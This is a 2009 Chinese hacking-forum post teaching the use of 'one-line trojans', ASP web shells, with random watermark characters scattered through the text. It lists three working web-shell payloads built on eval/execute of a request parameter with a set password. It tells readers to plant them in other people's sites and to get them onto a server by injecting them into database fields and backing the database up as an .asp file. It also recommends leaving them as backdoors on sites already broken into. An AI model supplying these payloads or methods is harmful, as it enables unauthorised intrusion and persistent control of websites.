【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
! ?3 y" R# f0 b; X! P. u
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~
/ D" J5 G2 \; ]- c. y" L: p; D& z% Y
% e- j/ |# `; T. O0 g1 w
1、咱们先弄懂怎么使用的。6 b- N( I  [0 J7 K! y
; I8 Q" |  Q  L( s- Q" b* U
分为客户端和服务端1 U& W# }; H$ F- e0 ^. D/ Z6 T" Q* g

" f3 b' y- r* W* G+ X
客户端是连接上去的程序，也可以是网页$ I# ?/ J4 d, y) y0 T

http://www.3ast.com.cn/tool/yijuhua.html

服务端就是一段代码，代码里有对应的“密码”) h" M  y8 g+ u0 m3 \9 n, B

提供三个服务端:
1. <%eval request("cnnsc")%>
2. <%execute request("cnnsc")%> ( M* g( a( ?: `/ i: X3 }
3. <%execute(request("cnnsc"))%> 2 m3 D4 H0 x9 g
7 l, t: G2 Y/ t  r* K  ]3 M
cnnsc--密码

我们只要把这个代码插入到对方网站的网页中就可以了' s4 R$ c2 p. X
! k5 Q8 R; s) s) X/ B
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>
: w: n8 e# l# p3 D; b3 F/ h
换一个页面，添加过了。访问的时候一切正常，看链接: V) I( a& C, x9 R' U) `' P* f4 u

上传之后
* s4 j2 s9 I7 M4 B, l
链接上去了. i' y, k, N7 j5 @! _: h& Q( w+ Y
OK.这个就是链接的主要过程
4 k+ I' v1 p/ T- a/ z8 J% t% d
9 Y8 |+ i5 J* \) S7 \5 x( @, r

2、然后懂得哪里会用上、怎么用
$ S$ l) [2 a/ u
(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了% t4 c8 H' Z# {
3 c7 x8 d/ \* |# m' ^3 k
(2)可以给自己入侵的网站留下后门。。。。
' L$ W7 f3 J) L1 Q) v
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。2 F. o! v( H# `9 l9 r

好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27